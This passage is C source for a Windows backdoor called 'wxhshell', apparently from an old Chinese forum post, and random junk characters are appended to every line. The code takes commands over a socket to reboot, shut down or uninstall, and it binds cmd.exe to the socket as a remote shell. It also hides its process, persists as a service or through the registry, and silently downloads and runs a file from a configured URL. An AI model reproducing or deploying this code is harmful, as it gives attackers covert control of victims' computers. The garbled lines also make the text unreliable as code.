  else { /qpSmRL  
CK* * RZ  
    switch(cmd[0]) { =C %)(|  
  *dBy<dIy  
  // 帮助 g?j)p y  
  case '?': { ttP7-y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  C=D*  
    break; V&mkS  
  } &OR(]Wt0  
  // 安装 U ?[ (  
  case 'i': { xJq|,":gj  
    if(Install()) Pk?$\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $H:!3 -/  
    else jP@ @<dt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (qn=BP I  
    break; 8PI%Z6  
    } ?_Qe45 @  
  // 卸载 A#U! KX  
  case 'r': { Ds1h18  
    if(Uninstall()) /$^Tou/v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IQqUFP$8g  
    else 84ij4ZYe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g_>&R58  
    break; r. 82RoG?G  
    } NAYLlW}A  
  // 显示 wxhshell 所在路径 U}92%W?  
  case 'p': { }YwaN'3p!  
    char svExeFile[MAX_PATH]; HoI6(t  
    strcpy(svExeFile,"\n\r"); E@VQxB7+  
      strcat(svExeFile,ExeFile); tE*BZXBlm  
        send(wsh,svExeFile,strlen(svExeFile),0); xAm tm"  
    break; >ohCz@~  
    } q4ROuE|d  
  // 重启 Ek +R  
  case 'b': { "*vrrY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zs$r>rlO  
    if(Boot(REBOOT)) 4o>y9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EQ%ooAb8  
    else { qqDg2,Yb  
    closesocket(wsh); 2D 4,#X  
    ExitThread(0); z/t|'8f  
    } "@ >6<(Ki  
    break; VL%. maj  
    } &V4Zm n?UU  
  // 关机 J4bP(=w!  
  case 'd': { Ft5A(P >  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d/_D|ivZ=  
    if(Boot(SHUTDOWN)) =rKJJa N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ybaY+![*  
    else { %H{pU:[5*  
    closesocket(wsh); *g5bdQ:Av~  
    ExitThread(0); "i&)+dr-  
    } MA .;=T  
    break; U>tR:)  
    } D e&,^"%  
  // 获取shell <AgB"y@  
  case 's': { MQ,K%_m8  
    CmdShell(wsh); ~J\qkQ  
    closesocket(wsh); s|C[{n<_  
    ExitThread(0); @O"7@%nu  
    break; Jr!^9i2j'  
  } C?qRZB+W#  
  // 退出 yr\ClIU  
  case 'x': { 0C zQel)L:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3.W[]zH/u  
    CloseIt(wsh); 77\+V 0cF  
    break; APu$t$dmm  
    } ]B>76?2W  
  // 离开 ElO|6kOBYG  
  case 'q': { ~  QRjl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |>Q>d8|k  
    closesocket(wsh); N~/ 'EaO  
    WSACleanup(); 8Lgt  
    exit(1); = l(euBb  
    break; .x I Aep_  
        } j]Gn\QF  
  } =g+}4P  
  } 4,y7a=qf3  
/LFuf`bXV  
  // 提示信息 >0HH#JW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '$FF/|{  
} wra0bS)4  
  } E#!N8fQ  
,GnU]f  
  return; [ d7]&i}*|  
} )+,jal^7  
hFfaaB  
// shell模块句柄 se HbwO3 b  
int CmdShell(SOCKET sock) q*nz4QTOE  
{ T_[\(K`w!  
STARTUPINFO si; r&sOM_BUF  
ZeroMemory(&si,sizeof(si)); tlgvBRH>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ji -1yX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V9_HC f  
PROCESS_INFORMATION ProcessInfo; 34kd|!e,  
char cmdline[]="cmd"; k#*yhG,]'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ha! "BR  
  return 0; 6ya87H'e@  
} ( v:ek_  
E}9ldM=]s  
// 自身启动模式 i?dKmRp(@y  
int StartFromService(void) y?#J`o- O  
{ _lv:"/3R  
typedef struct `j}d=zZ  
{  ca*[n~np  
  DWORD ExitStatus; =L),V~b  
  DWORD PebBaseAddress; bK8F |  
  DWORD AffinityMask; ;;hyjFGq%  
  DWORD BasePriority; ZCFf@2&z8  
  ULONG UniqueProcessId; XuoEAu8]  
  ULONG InheritedFromUniqueProcessId; M.N~fSJ   
}   PROCESS_BASIC_INFORMATION; fR%1FXpK&  
m<"fRT!Y  
PROCNTQSIP NtQueryInformationProcess; EvQwGt1)P  
/NX7Vev  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >04>rn#},,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [RPAkp  
Ij}F<ZgZG  
  HANDLE             hProcess; "Lq|66  
  PROCESS_BASIC_INFORMATION pbi; *8.@aX3  
]Bd3d%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _pko]F|()  
  if(NULL == hInst ) return 0; "=\_++  
J7wQ=! g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k7|z$=zY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ViwpyC'v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z<|_+7T  
-jtC>_/  
  if (!NtQueryInformationProcess) return 0; O0wCb  
b}Hl$V(uD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4[,B;7  
  if(!hProcess) return 0; QK!:q{  
IgVo%)n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q X%vRf0  
V l~Y  
  CloseHandle(hProcess); cP@F #!2  
fH e0W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2@R8P~^W  
if(hProcess==NULL) return 0; Ur([L&  
wL-ydMIx  
HMODULE hMod; ?7kV+{.  
char procName[255]; ?)mhJ/IT  
unsigned long cbNeeded; ?l, X!o6  
~i }+P71  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v-;XyVx  
Uc&6=5~Ys\  
  CloseHandle(hProcess); d]7|v r]  
Dpdn%8+Z  
if(strstr(procName,"services")) return 1; // 以服务启动 hk@`N;dn  
i'Y'HI  
  return 0; // 注册表启动 ,zN3? /7  
} [EmOA.6  
;;YcuzQI3  
// 主模块 %R5Com  
int StartWxhshell(LPSTR lpCmdLine) XatA8(_,5  
{ ke}Y 2sB  
  SOCKET wsl; # 5y9L  
BOOL val=TRUE; 0\cnc^Z  
  int port=0; N4a`8dS|  
  struct sockaddr_in door; 3'[Rvy{  
oI_oz0nHk  
  if(wscfg.ws_autoins) Install(); Dh&:-  
dU ,)TKQ  
port=atoi(lpCmdLine); msc 1^2  
\-Iny=$  
if(port<=0) port=wscfg.ws_port; 9u ?)vR[@e  
-yC:?  
  WSADATA data; Ig1lol:;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t{R5 EU  
Xr?>uqY!M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *?_qE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h_&4p= SQ  
  door.sin_family = AF_INET; w0Fwd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :cc[Jco@w  
  door.sin_port = htons(port); zBk_-'z  
mb0n}I_AC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  2Vp>"  
closesocket(wsl); /[a|DUoHO  
return 1; bKk CW  
} 45x,|h[F{5  
F+ffl^BQ  
  if(listen(wsl,2) == INVALID_SOCKET) { 1@A7h$1P  
closesocket(wsl); mi7sBA9L8  
return 1; \f(Y:}9  
} H<`^w)?  
  Wxhshell(wsl); [AXsnpa/C  
  WSACleanup();  5ZnSA9?  
wL'oImE  
return 0; N0=-7wMk(Z  
7w "sJ  
} 7{n\y l?  
S?*^>Y-e;  
// 以NT服务方式启动 MWBXs7 5I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /@&(P#h  
{ qE>i,|rP`  
DWORD   status = 0; 0/ut:RV0  
  DWORD   specificError = 0xfffffff; " Wp   
+.w[6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A?e,U,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %VzYqj_P"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Js/N()X  
  serviceStatus.dwWin32ExitCode     = 0; Ll,I-BQ 9  
  serviceStatus.dwServiceSpecificExitCode = 0; vx'l> @]k  
  serviceStatus.dwCheckPoint       = 0; SijtTY#r  
  serviceStatus.dwWaitHint       = 0; F y b[{"  
M9gOoYf,~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9*' &5F=  
  if (hServiceStatusHandle==0) return; {`a(Tl8V  
$nj\\,(g  
status = GetLastError(); Q\H_t)-  
  if (status!=NO_ERROR) ]*0(-@  
{ UanEzx%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  q$F)!&  
    serviceStatus.dwCheckPoint       = 0; fTBVvY4(  
    serviceStatus.dwWaitHint       = 0; *\D}eBd|  
    serviceStatus.dwWin32ExitCode     = status; |7y6 pz  
    serviceStatus.dwServiceSpecificExitCode = specificError; 22z1g(; @  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kL|\wci  
    return; DE%fF,Hk3  
  } [O\9 9>  
l_6eI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #00D?nC  
  serviceStatus.dwCheckPoint       = 0; )Bo]=ZTJ^  
  serviceStatus.dwWaitHint       = 0; guU=NQZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M_Bu,<q^  
} e^zHw^js  
<KX&zi<L)  
// 处理NT服务事件,比如:启动、停止 K U $`!h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nWk e#{[  
{ 8fh4%#,C%  
switch(fdwControl) 4Ac}(N5D@  
{ #BsW  
case SERVICE_CONTROL_STOP: 1eHe~p ,  
  serviceStatus.dwWin32ExitCode = 0; r_^)1w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D^|9/qm$  
  serviceStatus.dwCheckPoint   = 0; "kU]  
  serviceStatus.dwWaitHint     = 0; $Zxt&a  
  { `]jqQr97  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P3!Atnv2  
  } n}JPYu  
  return; Z|I-BPyn  
case SERVICE_CONTROL_PAUSE: JGis"e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e\D| o?v  
  break; &qKig kLd  
case SERVICE_CONTROL_CONTINUE: <!F3s`7~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QD$Gw-U-l=  
  break; i$C-)d]  
case SERVICE_CONTROL_INTERROGATE: dw9T f^V  
  break;  L=]p_2+  
}; gfN2/TDC]P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bY)#v?  
} 2)9r'ai?a  
2 x32U MD  
// 标准应用程序主函数 DW>ES/B8$(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bq NP#C  
{  R%"K  
Bd# TUy  
// 获取操作系统版本 _{)9b24(  
OsIsNt=GetOsVer(); ;&S;%W>|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^_W40/c3  
 to>  
  // 从命令行安装 ),` 8eQC  
  if(strpbrk(lpCmdLine,"iI")) Install(); G\kpUdj}  
DpvrMI~I_  
  // 下载执行文件 (%'9CfPx  
if(wscfg.ws_downexe) { .3X Y&6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z_&P?+"Df  
  WinExec(wscfg.ws_filenam,SW_HIDE); WbcS: !0  
} 2hq\n<  
:c=.D;,  
if(!OsIsNt) { snC/H G7  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?\y%]1  
HideProc(); *yez:qnx  
StartWxhshell(lpCmdLine); !YE zFU`L  
} |`0n"x7  
else #|f~s  
  if(StartFromService()) 6Hf,6>  
  // 以服务方式启动 8@eOTzm  
  StartServiceCtrlDispatcher(DispatchTable); kO_5|6  
else eV2mMSY  
  // 普通方式启动 qZ+H5AG2  
  StartWxhshell(lpCmdLine); <[i}n55  
:_HF j.JW  
return 0; OfZN|S+~W  
}
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只看该作者 1 发表于: 2006-10-10
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